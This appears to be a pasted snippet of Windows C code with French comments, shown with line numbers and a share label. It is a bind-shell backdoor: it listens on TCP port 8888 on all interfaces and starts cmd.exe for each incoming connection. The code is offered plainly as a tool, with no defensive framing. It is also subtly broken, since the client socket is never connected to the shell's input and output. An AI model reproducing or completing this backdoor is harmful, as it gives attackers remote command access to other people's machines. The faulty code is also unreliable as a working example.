1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
void main()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData); // Dîre qu'on ve utiliser des sockets
SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;
PROCESS_INFORMATION pi;
STARTUPINFO si;
sock = socket(AF_INET, SOCK_STREAM, 0); // Création socket
sin.sin_addr.s_addr = INADDR_ANY; // Adresse IP
sin.sin_family = AF_INET; // Famille du socket
sin.sin_port = htons(8888); // N° de port
bind(sock, (SOCKADDR *)&sin, sizeof(sin));
listen(sock, 0); // boucle d'écoute
while(1)
{
int sinsize = sizeof(csin);
GetStartupInfo(&si); // creating startupinfo for child process
if((csock = accept(sock, (SOCKADDR *)&csin, &sinsize)) != INVALID_SOCKET)
{
CreateProcess(NULL, "cmd.exe", NULL, NULL,TRUE, CREATE_NEW_CONSOLE,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
}
} |
Partager